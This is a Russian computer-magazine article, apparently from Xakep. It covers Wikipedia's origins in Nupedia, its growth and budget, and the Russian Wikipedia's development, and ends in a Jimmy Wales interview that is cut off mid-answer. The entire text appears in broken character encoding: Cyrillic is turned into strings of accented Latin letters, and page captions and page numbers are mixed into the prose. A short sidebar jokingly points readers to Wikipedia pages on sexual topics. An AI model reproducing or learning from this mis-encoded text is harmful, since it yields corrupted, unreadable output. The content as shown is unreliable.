â íîãó ñî âðåìåíåì, óñïåâàòü íå òîëüêî îáíîâëÿòü ñòàðûå ñòàòüè, íî è äîáàâëÿòü íîâûå? Íî åñëè ðàíüøå ïîäîáíîå áûëî ôèçè÷åñêè íåâîçìîæíûì, òî ñ ïîÿâëåíèåì Èíòåðíåòà ñèòóàöèÿ èçìåíèëàñü. Íà ñåãîäíÿøíèé äåíü âñå ñàìûå êðóïíûå ýíöèêëîïåäèè ìèðà èìåþò ñâîè ïðåäñòàâèòåëüñòâà â Ñåòè. È âñå îíè ÿâëÿ-

þòñÿ ïëàòíûìè. Ïðè÷åì ðå÷ü èäåò íå î ïàðå áàêñîâ. Ñòîèìîñòü ïå÷àòíîãî èçäàíèÿ âåäóùèõ ýíöèêëîïåäèé äîõîäèò äî $1500, à äîñòóï ê ñàéòó îáõîäèòñÿ ïîñåòèòåëÿì â $50 çà ãîä.  ñâîáîäíîì äîñòóïå â Èíòåðíåòå ìîæíî íàéòè ñîâñåì óñòàðåâøèå ýíöèêëîïåäèè, íàïðèìåð, ýíöèêëîïåäèè «Áðèòàííèêà» 1911 ãîäà èëè áåòà-âåðñèè, ãäå äîñòóïíî ìåíåå 10% ñòàòåé. Ìîæíî ëè ïðè òàêîì ðàñêëàäå ñîçäàòü êîíêóðåíòîñïîñîáíûé áåñïëàòíûé ðåñóðñ? Ìîæíî, åñëè ïðèâëå÷ü ê äåëó ñàìèõ ïîëüçîâàòåëåé. Wikipedia — ýíöèêëîïåäèÿ, êîòîðàÿ íàïîëíÿåòñÿ âñåì ìèðîì, è, õîòÿ îíà ñóùåñòâóåò âñåãî 5 ëåò, óæå äàâíî ïî êîíòåíòó äîãíàëà è ïåðåãíàëà âñå îñòàëüíûå «êîïèëêè çíàíèé», ïðîäîëæàÿ ñòðåìèòåëüíî ðàçâèâàòüñÿ äàëüøå. WIKI-ÈÑÒÎÐÈß Èñòîðèÿ Wikipedia íà÷àëàñü â 2000 ãîäó, êîãäà Ëàððè Ñýíãåð è Äæèììè Óýéëñ, òîãäà èñïîëíèòåëüíûé äèðåêòîð êîìïàíèè Bomis, ðåøèëè ñîçäàòü áåñïëàòíóþ è ëåãêîäîñòóïíóþ ñåòåâóþ ýíöèêëîïåäèþ.  ìàðòå 2000 ãîäà îíè óñïåøíî îòêðûëè ñàéò Nupedia (NuPedia.com), êîòîðûé ôèíàíñèðîâàëñÿ ôèðìîé Óýéëñà è ðàáîòàë íà îïåíñîðñíîì ñîôòå. Íî ãëàâíîé îñîáåííîñòüþ Nupedia ñòàëî ïîëíîå îòñóòñòâèå àâòîðñêèõ ïðàâ. Âñå ìàòåðèàëû ñàéòà ïðîõîäèëè ïîä GNU FDL (Îáùåñòâåííîé Ëèöåíçèåé GNU), êîòîðàÿ äàåò êàæäîìó ïîëüçîâàòåëþ ïðàâî ðåäàêòèðîâàòü è ðàñïðîñòðàíÿòü (÷àñòè÷íî èëè öå-

ëèêîì) ñîäåðæàíèå ëþáîé ñòàòüè, íå ïëàòÿ íèêîìó íèêàêèõ ïðîöåíòîâ è íå íàðóøàÿ íèêàêèõ çàêîíîâ. Óýéëåñ è Ñýíãåð íà÷àëè ïèàðèòü ñâîé ðåñóðñ ñ íàïèñàíèÿ ïèñåì íåñêîëüêèì èçâåñòíûì ó÷åíûì, ïðåäëàãàÿ èì ïðèíÿòü ó÷àñòèå â æèçíè Íóïåäèè. À íà ñàìîì ñàéòå âûëîæèëè îáúÿâëåíèå â ôîðìàòå RTF, ïðåäëîæèâ ðàñïå÷àòàòü åãî è ïîâåñèòü â ñâîåì ó÷åáíîì çàâåäåíèè. Òàê ÷òî ïåðâûìè àâòîðàìè ñòàòåé ñòàëè ó÷åíûå ìóæè è ïðîôåññîðà èç ðàçíûõ ñòðàí (Ðîññèè â òîì ÷èñëå). Îáû÷íûì ëþäÿì, êîòîðûå õîòåëè ïîó÷àñòâîâàòü, ïðèõîäèëîñü ñíà÷àëà ñâÿçûâàòüñÿ ñ ðåäàêòîðîì ðàçäåëà, äîêàçûâàòü åìó, ÷òî òû äåéñòâèòåëüíî ðàçáèðàåøüñÿ â ïðåäëîæåííîé òåìå. Åñëè òåáå äàâàëè äîáðî, òî òû ìîã ïðèñòóïèòü ê ðàáîòå è ïîòîì îòîñëàòü ñâîþ ñòàòüþ òîìó æå ðåäàêòîðó, êîòîðûé îöåíèâàë åå ñàì è ïîêàçûâàë ñâîèì êîëëåãàì. Ïîñëå óòâåðæäåíèÿ íåñêîëüêèìè ëþäüìè ñòàòüÿ îòñûëàëàñü ñïåöèàëüíîìó ÷åëîâåêó — copyeditor’ó, êîòîðûé âûèñêèâàë òàì çàùèùåííûå àâòîðñêèì ïðàâîì òåêñòû èëè ðèñóíêè. È òîëüêî ïîñëå ýòîãî ìíîãîñòðàäàëüíàÿ ñòàòüÿ âîçâðàùàëàñü ê ðåäàêòîðó, êîòîðûé ðàçìåùàë åå íà ñàéòå. Ïðîöåññ ýòîò áûë äîëãèì è ñëîæíûì, ïîýòîìó êîëè÷åñòâî ñòàòåé â Nupedia íå ïðåâûøàëî ñîòíè.  êîíöå êîíöîâ ñòàëî ÿñíî, ÷òî ïðè òàêîì ïîäõîäå ñàéò áûñòðî ðàçâèâàòüñÿ íå ìîæåò, íå ãîâîðÿ óæå î òîì, ÷òîáû ñîñòàâèòü äîñòîéíóþ êîíêóðåíöèþ âåäóùèì ýíöèêëîïåäèÿì. Ê íà÷àëó 2001 ãîäà

ÑÒÎÈÌÎÑÒÜ ÏÅ×ÀÒÍÎÃÎ ÈÇÄÀÍÈß ÂÅÄÓÙÈÕ ÝÍÖÈÊËÎÏÅÄÈÉ ÄÎÕÎÄÈÒ ÄÎ $1500, À ÄÎÑÒÓÏ Ê ÑÀÉÒÓ ÎÁÕÎÄÈÒÑß ÏÎÑÅÒÈÒÅËßÌ Â $50 ÇÀ ÃÎÄ. XÀÊÅÐ 02 /86/ 06

101


ÑÖÅÍÀ ///// ISSUE

ÁÞÄÆÅÒ ÂÈÊÈÏÅÄÈÈ ÑÎÑÒÀÂÈË $15,000  2003 ÃÎÄÓ, $25,000 —  2004-Ì, È ÁÎËÅÅ $700,000 —  ÝÒÎÌ ÃÎÄÓ. ñîçäàòåëè óæå ïîäóìûâàëè î çàêðûòèè Íóïåäèè, êàê âäðóã ïðèÿòåëü Ëàððè Ñýíãåðà, Áåí Êîâèö, ïðåäëîæèë ðåøåíèå âñåõ ïðîáëåì. Òåõíîëîãèÿ, î êîòîðîé îí ðàññêàçàë, íîñèëà íàçâàíèå Wiki è ïîçâîëÿëà ëþáîìó æåëàþùåìó, ìèíóÿ äëèííóþ öåïî÷êó ðåäàêòîðîâ, äîáàâëÿòü ñòàòüè íà ñàéò è ðåäàêòèðîâàòü èõ. Íî ãëàâíîå, ÷òî èñòîðèÿ ïðàâêè êàæäîé ñòàòüè õðàíèòñÿ âå÷íî, òàê ÷òî â ñëó÷àå, åñëè áóäåò óäàëåíî ÷òî-òî âàæíîå èëè âíåñåííûå èçìåíåíèÿ îêàæóòñÿ íåïðàâèëüíûìè, òî âåðíóòü âñå â ïðåæíåå ñîñòîÿíèå ñìîæåò ëþáîé ïîñåòèòåëü, çàìåòèâøèé ýòî. Ïî ñóòè, Wiki — ýòî ãèïåðòåêñòîâàÿ ñðåäà äëÿ ñáîðà è ñòðóêòóðèçàöèè ïèñüìåííîé èíôîðìàöèè. Ïåðâîé âèêè-ñåòüþ ñòàëî «Ïîðòëåíäñêîå õðàíèëèùå îáðàçöîâ ïðîãðàììíîãî êîäà». Ñåòü áûëà ñîçäàíà 25 ìàðòà 1995 ãîäà ïðîãðàììèñòîì Âàðäîì Êàííèíãåìîì. Ñàìî ñëîâî wiki, à âåðíåå wiki-wiki, îí ïîçàèìñòâîâàë èç ãàâàéñêîãî ÿçûêà, íà êîòîðîì îíî îçíà÷àåò «î÷åíü áûñòðî», «êàê ìîæíî áûñòðåå». Âàæíî òî, ÷òî óïîð â Wiki-òåõíîëîãèè äåëàåòñÿ íà êîëëåêòèâíóþ ðàáîòó. Äëÿ óäîáñòâà âñåõ ðàáîòàþùèõ íà Wiki-ñàéòå ëþäåé ñèñòåìà ïðàâêè è äîáàâëåíèÿ íîâûõ ñòðàíèö óïðîùåíà äî äâóõ êëèêîâ — «Ðåäàêòèðîâàòü-Ñîõðàíèòü», à âñå îïåðàöèè ïî ðåäàêòèðîâàíèþ ïðîèçâîäÿòñÿ ïðÿìî â îêíå áðàóçåðà. Ëþáàÿ ñòðàíèöà Wiki-ñàéòà — ýòî ñòàòüÿ, ñîñòîÿùàÿ èç íàçâàíèÿ è ñîäåðæèìîãî, â êîòîðóþ ìîæíî âñòàâëÿòü HTML-òýãè èëè îñîáóþ Wiki-ðàçìåòêó, ïðèçíàííóþ áîëåå ïðîñòîé è óäîáíîé, ÷åì òýãè. Íàïðèìåð, ÷òîáû âñòàâèòü â òåêñò ññûëêó íà äðóãóþ ñòàòüþ, òåáå íå íóæíî ïèñàòü <a href=»http://àäðåñ ññûëêè»>Íàçâàíèå ññûëêè</a> è òîìó ïîäîáíîå. Äîñòàòî÷íî ïðîñòî âñòàâèòü íàçâàíèå ñòàòüè, íà êîòîðóþ ññûëàåøüñÿ (â êâàäðàòíûõ ñêîáêàõ — [[Íàçâàíèå ñòàòüè]]), è ïîñëå íàæàòèÿ êíîïêè «Ñîõðàíèòü» ïîëó÷èòñÿ ññûëêà. Ïðè ýòîì áèòûõ èëè ìåðòâûõ ëèíêîâ ïðîñòî íå áûâàåò. Åñëè ñòàòüÿ ñ òàêèì èìåíåì óæå ñóùåñòâóåò, òî ññûëêà áóäåò ñèíåãî öâåòà, åñëè íåò — êðàñíîãî è ïðèâåäåò íà ñòðàíèöó «ïîêà åùå íå íàïèñàííîé ñòàòüè». Ñýíãåð çàãîðåëñÿ ýòîé èäååé è áåç òðóäà óáåäèë Óýéëñà ïåðåâåñòè Íóïåäèþ íà íîâûé äâèæîê. À 10 ÿíâàðÿ 2001 ãîäà ýíöèêëîïåäèÿ óæå áûëà çàïóùåíà â íîâîì ôîðìàòå. Íî íå âñå îòíåñëèñü ê íîâîââåäåíèÿì ñ îïòèìèçìîì. Ìíîãèì ó÷åíûì, ðàáîòàâøèì íàä ïðîåêòîì, èäåÿ â êîðíå íå ïîíðàâèëàñü, òàê êàê èõ ïóãàëà ìûñëü, ÷òî ñòàòüè ìîæåò ðåäàêòèðîâàòü ëþáîé æåëàþùèé. «×òî áóäåò, êîãäà òûñÿ÷è ïðîñòûõ ïîëüçîâàòåëåé äîáåðóòñÿ äî ñàéòà è íà÷íóò èçìåíÿòü âñå íà ñâîé ëàä? Êàêàÿ ìîæåò áûòü îáúåêòèâíîñòü â òàêèõ ñîìíèòåëüíûõ, íèêåì íå êîíòðîëèðóåìûõ äàííûõ?» Ðîïîò áûë òàê ñèëåí, ÷òî Óýéëñ è

Ñýíãåð ïîñîâåòîâàëèñü è âåðíóëè Íóïåäèè ñòàðûé äâèæîê, à çàòåì ïðîñòî ñîçäàëè íîâûé ñàéò — Wikipedia.com. Ëèöåíçèÿ GNU FDL ïîçâîëèëà èì ïåðåíåñòè íà Âèêèïåäèþ âñþ èíôîðìàöèþ ñ Íóïåäèè è îñòàâèòü ñòàðûé ðåñóðñ êàê åñòü, ñïåöèàëüíî äëÿ òåõ, êòî íå æåëàë ïåðåìåí. ÂÈÊÈÏÅÄÈß ÑÅÃÎÄÍß Îôèöèàëüíî Wikipedia.com (à ïîçäíåå — Wikipedia.org) áûëà çàïóùåíà 15 ÿíâàðÿ 2001 ãîäà. Ãëàâíûìè åå ïðèíöèïàìè ñòàëè íåéòðàëüíàÿ òî÷êà çðåíèÿ âî âñåõ ñòàòüÿõ, ïîëíàÿ ñâîáîäà èíôîðìàöèè è áåñïëàòíîñòü. Íó è êîíå÷íî, ñâîáîäíûé äîñòóï íå òîëüêî ê ÷òåíèþ ýíöèêëîïåäèè, íî è ê ïðàâêå. Íåñìîòðÿ íà ìðà÷íûå ïðîãíîçû ó÷åíûõ, âñå îêàçàëîñü íå òàê ñòðàøíî. Êðèòèêè Wiki-òåõíîëîãèè âñåãäà óïèðàëè íà ñàìîå, ïî èõ ìíåíèþ, ñëàáîå ìåñòî ñèñòåìû — âàíäàëèçì. Äàâ âîçìîæíîñòü ðåäàêòèðîâàòü ñòàòüè ëþáîìó ïîëüçîâàòåëþ, ñëåäîâàëî îæèäàòü, ÷òî æåëàþùèõ ïðèéòè è âñå îïîøëèòü áóäåò íåìàëî. Íî íà òåìó âàíäàëèçìà óæå âñå äàâíî ñêàçàíî íà ñàìîé Âèêèïåäèè. Âîò âûäåðæêà èç ñòàòüè «Âèêèïåäèÿ: Âàíäàëèçì»: ...âàíäàëèçì, íåñìîòðÿ íà ðàñïðîñòðàíåííîå ìíåíèå, íà ñàìîì äåëå íå ïðåäñòàâëÿåò áîëüøîé ïðîáëåìû äëÿ Âèêèïåäèè, òàê êàê âñå èçìåíåíèÿ ñòàòåé õðàíÿòñÿ â ñïåöèàëüíîé áàçå äàííûõ. Òàêèì îáðàçîì, çëîóìûøëåííèêè íå ìîãóò óíè÷òîæèòü èíôîðìàöèþ ïîëíîñòüþ. Ïîñåòèòåëü, çàìåòèâøèé, ÷òî ñòàòüÿ áûëà èñïîð÷åíà, ìîæåò ñäåëàòü îòêàò ïîâðåæäåííîé âåðñèè, ñäåëàòü ýòî ñîâñåì íåñëîæíî. ×òîáû âûíåñòè ïðåäóïðåæäåíèå, íåîáõîäèìî â îáñóæäåíèè åãî ïðîôèëÿ äîáàâèòü øàáëîí âàíäàëà: {{subst:vandal}}. Ïîñêîëüêó êîëè÷åñòâî ëþäåé, æåëàþùèõ çàíèìàòüñÿ âàíäàëèçìîì, ïðèáëèçèòåëüíî ðàâíî êîëè÷åñòâó ëþäåé, æåëàþùèõ âîññòàíîâèòü èñòèíó, ñîçäàíèå óñëîâèé, ïðè êîòîðûõ âòîðîå ñäåëàòü ëåã÷å, ÷åì ïåðâîå, äåëàåò ìàòåðèàëû Âèêèïåäèè âñå áîëåå è áîëåå ñîîòâåòñòâóþùèìè èñòèíå. Ïî ðåçóëüòàòàì èññëåäîâàíèé, áîëüøèíñòâî ïîñëåäñòâèé âàíäàëèçìà â àíãëèéñêîé ÷àñòè Âèêèïåäèè íåéòðàëèçóþòñÿ â . ñ÷èòàííûå ìèíóòû Ïðèíöèï Âèêèïåäèè — ÷èíèòü ïðîùå, ÷åì ïîðòèòü — ñåáÿ ïîëíîñòüþ îïðàâäàë. Ïðèâåäó åùå íåìíîãî öèôð, ÷òîáû äàòü ïîíÿòü, êàêèõ êîëîññàëüíûõ ìàñøòàáîâ äîñòèãëà ñâîáîäíàÿ ýíöèêëîïåäèÿ íà ñåãîäíÿ. Ñàìûì êðóïíûì ÿçûêîâûì ñåãìåíòîì Âèêè ïî-ïðåæíåìó ÿâëÿåòñÿ àíãëîÿçû÷íûé, ñåé÷àñ îí ñîäåðæèò ïî÷òè 900 òûñÿ÷ ñòàòåé. Âñåãî æå ÿçûêîâ ó Âèêèïåäèè áîëåå 200, òàê ÷òî ïðîåêò ïî-íàñòîÿùåìó ìåæäóíàðîäíûé. Íåñêîëüêî ëåò íàçàä ñàéò Wikipedia.org íå âõîäèë äàæå â 10,000 ëó÷øèõ âåá-ñàéòîâ Ñåòè, à òåïåðü îí íàõîäèòñÿ â 30-êå ëó÷øèõ, ñ áîëåå ÷åì 2,5 ìèë-

ëèàðäàìè çàïðîñîâ ñòðàíèö â ìåñÿö.  ïðîøëîì ãîäó åæåäíåâíî Wikipedia èñïîëüçîâàëè ïðèìåðíî ïîëïðîöåíòà èíòåðíåò÷èêîâ, ñåãîäíÿ ýòà öèôðà óâåëè÷èëàñü ïî÷òè â÷åòâåðî. Áþäæåò Âèêèïåäèè ñîñòàâèë $15,000 â 2003 ãîäó, $25,000 — â 2004ì, è áîëåå $700,000 — â ýòîì ãîäó.  ñëåäóþùåì ãîäó ðå÷ü óæå ïîéäåò î ìèëëèîíàõ äîëëàðîâ. Ôîðìèðóåòñÿ ýòîò ñàìûé áþäæåò Ôîíäîì Âèêèìåäèà è äåñÿòêàìè òûñÿ÷ äîáðîâîëüöåâ, êîòîðûå òðàòÿò ñâîå âðåìÿ è ñèëû íà ïîääåðæêó ïðîåêòà, âåðÿ â òî, ÷òî çíàíèÿ — ñèëà, è îíè äîëæíû áûòü ñâîáîäíûìè. Çäåñü ãëàâíûé ïðèíöèï — êàæäûé âíîñèò ïîñèëüíûé âêëàä, ïðè÷åì ñðåäíèé âçíîñ ñîñòàâëÿåò ïðèìåðíî $20. Ôîíä Âèêèìåäèà ïîääåðæèâàåò è äðóãèå íåýíöèêëîïåäè÷åñêèå ïðîåêòû ïî ñîçäàíèþ ñâîáîäíûõ ïóáëèêàöèé â Èíòåðíåòå: ñâîáîäíóþ áèáëèîòåêó (Âèêèòåêà), áåñïëàòíûå ó÷åáíèêè (Âèêèó÷åáíèê), ñëîâàðè (Âèêèñëîâàðü), îòêðûòîå íîâîñòíîå èçäàíèå (Âèêèíîâîñòè) è ñîáðàíèå öèòàò (Âèêèöèòàòíèê). À ÊÀÊ ÆÅ ÍÀØÈ? Âñå æå ìû â Ðîññèè æèâåì, à íå â ÑØÀ, ïîýòîìó óäåëþ íåìíîãî âíèìàíèÿ íàøåé Âèêè. Ðóññêèé ðàçäåë Âèêèïåäèè áûë ñîçäàí 20 ìàÿ 2001 ãîäà. Ïåðâûì àäìèíèñòðàòîðîì ðóññêîÿçû÷íîé Âèêè ñòàë ÷åëîâåê, äëÿ êîòîðîãî ðóññêèé — íå ðîäíîé ÿçûê. Âðåìÿ øëî, è ê 3 àâãóñòó 2004 ãîäà ðóññêàÿ Âèêèïåäèÿ íàñ÷èòûâàëà ëèøü 5000 ñòàòåé, ÷òî íà îáùåì ôîíå áûëî íè÷òîæíî ìàëî. Íî â òîì æå ìåñÿöå â èçâåñòíîì êîìïüþòåðíîì æóðíàëå âûõîäèò ñòàòüÿ, íàïèñàííàÿ àäìèíèñòðàòîðîì íàøåé Âèêè Ctac’îì: «Êàê ñòàòü Âîëüòåðîì, èëè ñàìàÿ ñâîáîäíàÿ ýíöèêëîïåäèÿ». Ñòàòüÿ âûçâàëà áîëüøîé èíòåðåñ ê ðåñóðñó è ïðèòîê íîâûõ ó÷àñòíèêîâ óâåëè÷èëñÿ. Òàêèì îáðàçîì, óæå ê êîíöó 2004 ãîäà ðóññêàÿ Âèêè áåðåò ïëàíêó â 10,000 ñòàòåé è ñäâèãàåòñÿ ñ ìåðòâîé òî÷êè.  2005 ãîäó ðóññêîÿçû÷íûé ðàçäåë Âèêèïåäèè ñòàë áûñòðî íàáèðàòü îáîðîòû. Ñòàòüè ïðî Âèêèïåäèþ ïîÿâëÿëèñü â äðóãèõ æóðíàëàõ è ãàçåòàõ, çàèíòåðåñîâàííûõ ëþäåé ïîÿâëÿëîñü âñå áîëüøå, êîëè÷åñòâî ìàòåðèàëà ðîñëî (50 ñòàòåé â äåíü). Ëåòîì ýòîãî ãîäà â Ïèòåðå äàæå ñîñòîÿëàñü ïåðâàÿ âñòðå÷à âèêèïåäèàíöåâ, òî åñòü ðóññêîãî Wiki-êîìüþíèòè. 21 ñåíòÿáðÿ íà ôåñòèâàëå «Èíòåðíèò-2005», ïðîõîäèâøåì â Íîâîñèáèðñêå ïîä äåâèçîì «Èíòåðíåò äëÿ ïîëüçû äåëà!», íàøà Âèêèïåäèÿ ïîáåäèëà â íîìèíàöèè «Ñåðâèñ ãîäà». À ïîä êîíåö 2005 ãîäà ïðîèçîøëî ñðàçó äâà çàìåòíûõ ñîáûòüÿ: 1 íîÿáðÿ âïåðâûå âûøëè «Âèêèíîâîñòè» íà ðóññêîì, à 4 äåêàáðÿ êîëè÷åñòâî ñòàòåé ïðåâûñèëî 40-òûñÿ÷íóþ îòìåòêó. Íà ìîìåíò íàïèñàíèÿ ñòàòüè (18 äåêàáðÿ 2005 ãîäà) ðóññêèé ñåãìåíò Âèêèïåäèè íàõîäèòñÿ óæå íà 12-ì ìåñòå ñî 49,338 îïóáëèêîâàííûìè ñòàòüÿìè.

ÏÐÈÍÖÈÏ ÂÈÊÈÏÅÄÈÈ — ×ÈÍÈÒÜ ÏÐÎÙÅ, ×ÅÌ ÏÎÐÒÈÒÜ — ÑÅÁß ÏÎËÍÎÑÒÜÞ ÎÏÐÀÂÄÀË 102

XÀÊÅÐ 02 /86/ 06


ãëàâíàÿ ñòðàíèöà Wikipedia.org

Òîìà ýíöèêëîïåäèè «Áðèòàííèêà»

Íà ýòèõ ñåðâåðàõ, ðàñïîëîæåíûõ âî Ôëîðèäå, õðàíèòñÿ Âèêè

Åñëè åñòü ìèíèìàëüíîå çíàíèå àíãëèéñêîãî — íå çàáóäü ïîñåòèòü: http://en.wikipedia.org/wiki/Russian_jokes http://en.wikipedia.org/wiki/Sexual_position http://en.wikipedia.org/wiki/Pornography http://en.wikipedia.org/wiki/Group_sex Íèêàêîé ïîøëîñòè — ÷èñòàÿ èíôîðìàöèÿ! Óçíàåøü ìíîãî íîâîãî :). Ñ ðóññêèìè íåöåíçóðíûìè ñëîâàìè òîæå ñîâåòóþ ïîýêñïåðèìåíòèðîâàòü.

Âîò òàê âûãëÿäåë êîãäà-òî òèòóë Íóïåäèè

http://www.wikipedia.org — ãëàâíàÿ ñòðàíèöà ñâîáîäíîé ýíöèêëîïåäèè http://ru.wikipedia.org — ðóññêîÿçû÷íàÿ Âèêèïåäèÿ http://meta.wikipedia.org — Âèêèïåäèÿ î Âèêèïåäèè, âñÿ èíôîðìàöèÿ î ïðîåêòå http://ru.wikipedia.org/wiki/Âèêèïåäèÿ:Âèêèìàíèÿ_2005 — îò÷åò î êîíôåðåíöèè ãëàçàìè ó÷àñòíèêà

ÄÅÑÅÐÒ Êòî ëó÷øå âñåãî ìîæåò ðàññêàçàòü î ñàéòå, êàê íè åãî ñîçäàòåëü? Çàðó÷èâøèñü ïîääåðæêîé àäìèíèñòðàòîðà ðóññêîé Âèêèïåäèè Ctac’à, ìíå óäàëîñü âçÿòü èíòåðâüþ íåïîñðåäñòâåííî IEV ó ìèñòåðà Äæèììè Óýéëñà — åäèíñòâåííîãî íå INTERW îòîøåäøåãî îò äåë îòöà-îñíîâàòåëÿ Âèêèïåäèè. Ëàððè Ñýíãåð îñòàâèë ïðîåêò è ñåé÷àñ ïðåïîäàåò ôèëîñîôèþ â óíèâåðñèòåòå øòàòà Îãàéî. Mifrill (M): Ñîâñåì íåäàâíî âîêðóã Âèêèïåäèè ðàçãîðåëñÿ ãðîìêèé ñêàíäàë. Âèíîé âñåìó — áèîãðàôèÿ èçâåñòíîãî æóðíàëèñòà Äæîíà Ñåéãåíòàëåðà, â êîòîðîé ñîäåðæàëèñü íåâåðíûå äàííûå, è Ñåéãåíòàëåð ñ÷åë èõ äëÿ ñåáÿ îñêîðáèòåëüíûìè. Äàæå îïóáëèêîâàë ñêàíäàëüíóþ ñòàòüþ â USA Today, îáâèíÿÿ Âèêèïåäèþ â êëåâåòå. Âû æå â ïðÿìîì ýôèðå CNN îáúÿâèëè î ââåäåíèè âðåìåííîé, íî íå èìåþùåé àíàëîãîâ ñàíêöèè: òåïåðü íåçàðåãèñòðèðîâàííûå ïîëüçîâàòåëè àíãëîÿçû÷íîé âåðñèè ðåñóðñà íå ìîãóò ñîçäàâàòü íîâûå ñòàòüè. Õîòåëîñü áû óçíàòü, áóäåò ëè àíàëîãè÷íàÿ ìåðà ââåäåíà â îñòàëüíûõ ñåãìåíòàõ, è êàê âû ñîáèðàåòåñü â áóäóùåì îáåçîïàñèòü Âèêè îò ïîäîáíûõ èíöèäåíòîâ? Äæèììè Óýéëñ (ÄÓ): Íåò, â äðóãèõ ÿçûêîâûõ ñåãìåíòàõ òàêèõ ìåð ââîäèòü íå ïëàíèðóåòñÿ. Ìû ïîñòîÿííî â äâèæåíèè, ïîñòîÿííî ïðîãðåññèðóåì, ñîâåðøåíñòâóåì íàø ñîôò, è ïî ìåðå ðîñòà Âèêèïåäèè ñîáèðàåìñÿ è äàëüøå ïðèäåðæèâàòüñÿ ýòîãî êóðñà. Íà ñëåäóþùåé íåäåëå êàê ðàç áóäåò îáñóæäàòüñÿ ââåäåíèå öåëîãî ðÿäà íîâûõ èíñòðóìåíòîâ, êîòîðûå ïîçâîëÿò áîëåå äåòàëüíî ìîíèòîðèòü ñàéò.  ÷àñòíîñòè, â ÿíâàðå ìû áóäåì òåñòèðîâàòü íîâûé ìåõàíèçì äëÿ îáðàáîòêè ñòàòåé. M: Äàâíî âû â ïîñëåäíèé ðàç ñàìè ïèñàëè ñòàòüè äëÿ Âèêèïåäèè? Çàíèìàåòåñü ëè ýòèì ñåé÷àñ? ÄÓ: Ïîñëåäíÿÿ ìîÿ ñòàòüÿ â Âèêèïåäèþ áûëà î Òèìå Ãàëëàõàðå — ó÷åíîì, êîòîðûé ïðèíèìàë ó÷àñòèå â ïîâòîðíîì îòêðûòèè áåëîêëþâûõ êîðîëåâñêèõ äÿòëîâ. Íà ñàìîì äåëå, ÿ íå òàê ÷àñòî çàíèìàþñü ðåäàêòèðîâàíèåì Âèêèïåäèè èëè íàïèñàíèåì ñòàòåé, òàê êàê ó ìåíÿ ïî÷òè íåò íà ýòî âðåìåíè. Íî åñëè óäàåòñÿ âûêðîèòü ÷àñîê-äðóãîé, òî äåëàþ ýòî ñ áîëüøèì óäîâîëüñòâèåì. Ì: Âèêèïåäèÿ îãðîìíà, ïðîñòî êîëîññàëüíà. È õîòÿ àíãëîÿçû÷íûé ñåãìåíò îñòàåòñÿ êðóïíåéøèì, äðóãèå ÿçûêè íå ìåíåå âàæíû. Èçó÷àåòå ëè âû äðóãèå Wiki-ñåãìåíòû, íàáëþäàåòå ëè çà èõ ðàçâèòèåì? ÄÓ: ß ñåé÷àñ ó÷ó íåìåöêèé è àêòèâíî ïîëüçóþñü íåìåöêîé Âèêèïåäèåé êàê ïîäñïîðüåì â èçó÷åíèè ÿçûêà. Ñòàðàþñü êàæäûé äåíü ïðî÷èòûâàòü õîòÿ áû ïàðî÷êó ñòàòåé íà íåìåöêîì. Êðîìå òîãî, ÿ ñòðåìëþñü ïîääåðæèâàòü ñâÿçü ñ êàê ìîæíî áîëüøèì ÷èñëîì äðóãèõ Wiki-êîìüþíèòè, íî çäåñü âñå äåðæèòñÿ íà ïîñòîÿííîé ñâÿçè ñ ëèäåðàìè ýòèõ ñîîáùåñòâ ëè÷íî. Âîîáùå, ÿ î÷åíü ëþáëþ âñòðå÷àòüñÿ ñ âèêèïåäèàíöàìè ïî âñåìó ìèðó, ïîòîìó ÷òî ìû î÷åíü äðóæíîå ñîîáùåñòâî.

XÀÊÅÐ 02 /86/ 06

Ì:  ñâåæåì æóðíàëå Nature ñðàâíèâàåòñÿ êà÷åñòâî Áðèòàííèêè è Âèêèïåäèè. Ýêñïåðòû æóðíàëà îáíàðóæèëè â Âèêèïåäèè ìíîæåñòâî ôàêòè÷åñêèõ îøèáîê. Áåçóñëîâíî, ýòà ñòàòüÿ ïðèâåëà ê èñïðàâëåíèþ Wiki-ñîîáùåñòâîì îøèáîê â ýòèõ ñòàòüÿõ. Íî êàê áûòü ñ îñòàëüíûìè ñòàòüÿìè? ×òî ýòî çà ýíöèêëîïåäèÿ, åñëè åé íåëüçÿ äîâåðÿòü? ÄÓ: Âñå ìàòåðèàëû ñàéòà ïîñòîÿííî ïîäâåðãàþòñÿ ñåðüåçíîé ïðîâåðêå.  íàñòîÿùåå âðåìÿ ìåõàíèçì îáðàáîòêè ñòàòåé óñòðîåí òàêèì îáðàçîì, ÷òîáû ðåäàêòîðàì áûëî êàê ìîæíî ïðîùå îòìå÷àòü è ðåäàêòèðîâàòü ñòàòüè, òðåáóþùèå ïðàâêè. Ì: Áóäåò ëè âûïóùåíà áóìàæíàÿ âåðñèÿ Âèêèïåäèè? ÄÓ: Äà, ïåðåãîâîðû îá ýòîì óæå âåëèñü ñ öåëûì ðÿäîì èçäàòåëüñòâ. Îäíàêî ïîêà ïðîåêò íàõîäèòñÿ íà ñàìîé ðàííåé ñòàäèè, è ãîâîðèòü îá ýòîì ðàíî. Ì: Åñòü ñòàòüè, òåìàòèêà êîòîðûõ äîâîëüíî îñòðà è ìîæåò âûçâàòü ÿðîñòü ó íåêîòîðûõ ëþäåé. Íàñêîëüêî çàùèùåíû âàøè àâòîðû îò òàêèõ íåäîáðîæåëàòåëåé? ÄÓ: Àâòîðû èìåþò âîçìîæíîñòü çàðåãèñòðèðîâàòüñÿ è ïóáëèêîâàòü ñòàòüè èëè âíîñèòü ïðàâêè íå ïîä ñâîèì IP-àäðåñîì íàïðÿìóþ, à ïîä âûáðàííûì èìè ëîãèíîì.  ýòîì ñëó÷àå IP íèãäå îòîáðàæàòüñÿ íå áóäåò.  ñâîþ î÷åðåäü, Ôîíä Âèêèìåäèÿ îòêðîåò ëè÷íûå äàííûå çàðåãèñòðèðîâàííîãî ïîëüçîâàòåëÿ, òàêèå êàê åãî IP-àäðåñ, òîëüêî ïî ðàñïîðÿæåíèþ ñóäà. Ì: Ôîíä Âèêèìåäèÿ ïîñòîÿííî ñîáèðàåò äåíüãè íà íîâûå ñåðâåðû. Îäíàêî îáúåì áàçû ðàñòåò â ãåîìåòðè÷åñêîé ïðîãðåññèè, è ðàíî èëè ïîçäíî íàñòóïèò ìîìåíò, êîãäà Âèêèìåäèÿ íå ñìîæåò ñîáðàòü äîñòàòî÷íîå êîëè÷åñòâî äåíåã äëÿ ñîõðàíåíèÿ âñåõ ýòèõ äàííûõ. ×òî ïðîèçîéäåò â ýòîì ñëó÷àå? ÄÓ: Ó íàñ íèêîãäà íå âîçíèêàëî ôèíàíñîâûõ ïðîáëåì 